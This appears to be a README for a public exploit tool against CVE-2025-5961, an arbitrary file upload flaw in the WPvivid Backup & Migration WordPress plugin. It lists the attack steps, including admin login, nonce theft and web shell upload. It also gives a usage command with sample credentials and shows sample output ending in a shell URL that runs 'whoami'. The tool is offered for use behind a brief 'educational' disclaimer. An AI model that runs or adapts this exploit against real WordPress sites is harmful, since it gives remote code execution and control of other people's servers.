Migration, Backup, Staging – WPvivid Backup & Migration <= 0.9.116 - Authenticated (Administrator+) Arbitrary File Upload
# 🚨 Migration, Backup, Staging – WPvivid Backup & Migration <= 0.9.116 - Authenticated (Administrator+) Arbitrary File Upload
> 📈 *This vulnerability affects a plugin with over **700,000+ installs***
---
## 📝 CVE Details
- **CVE:** CVE-2025-5961
- **CVSS:** 7.2 (High)
- **Published:** July 3, 2025
---
## 🔍 Description
The **Migration, Backup, Staging – WPvivid Backup & Migration** plugin for WordPress is vulnerable to **arbitrary file uploads** due to missing file type validation in the `wpvivid_upload_import_files` function in all versions up to, and including, `0.9.116`.
This allows **authenticated attackers (Administrator-level and above)** to upload arbitrary files to the server, potentially enabling remote code execution.
---
## 🧰 Script
This repository contains an exploit script for **CVE-2025-5961**, written in Python, which:
- Checks plugin version.
- Logs in as Administrator.
- Extracts the required nonce from the plugin page.
- Uploads a web shell payload.
- Prints the URL to access the shell.
---
## 🖥️ Example Usage
```bash
python3 CVE-2025-5961.py -u http://target/wordpress -un admin -p password123
```
---
## ⚙️ Usage
```text
$ python3 CVE-2025-5961.py -h
usage: CVE-2025-5961.py [-h] -u URL -un USERNAME -p PASSWORD
CVE-2025-5961 Exploit by Khaled Alenazi (Nxploited)
options:
-h, --help show this help message and exit
-u, --url URL Target WordPress URL
-un, --username USERNAME
Admin username
-p, --password PASSWORD
```
---
## 📊 Output Example
```text
[+] Checking plugin version...
[+] Detected plugin version: 0.9.116
[+] Target is vulnerable. Continuing exploit.
[+] Logging in to http://target/wordpress...
[+] Logged in successfully.
[+] Fetching WPvivid page to extract nonce...
[+] Extracted nonce: 502d5dce0e
[+] Uploading shell...
[+] Exploit succeeded!
[+] Shell URL: http://target/wordpress/wp-content/wpvividbackups/ImportandExport/shellnxploited.php?cmd=whoami
Exploit By: Khaled Alenazi (Nxploited) - https://github.com/Nxploited/
```
---
## ⚖️ Disclaimer
This script is provided for **educational and research purposes only**.
The author is not responsible for any misuse or damage caused by this tool.
---
## ✍️ By
**Khaled Alenazi (Nxploited)**
🌐 [GitHub](https://github.com/Nxploited/)
---
登录后查看神龙缓存的 POC 文件快照
登录查看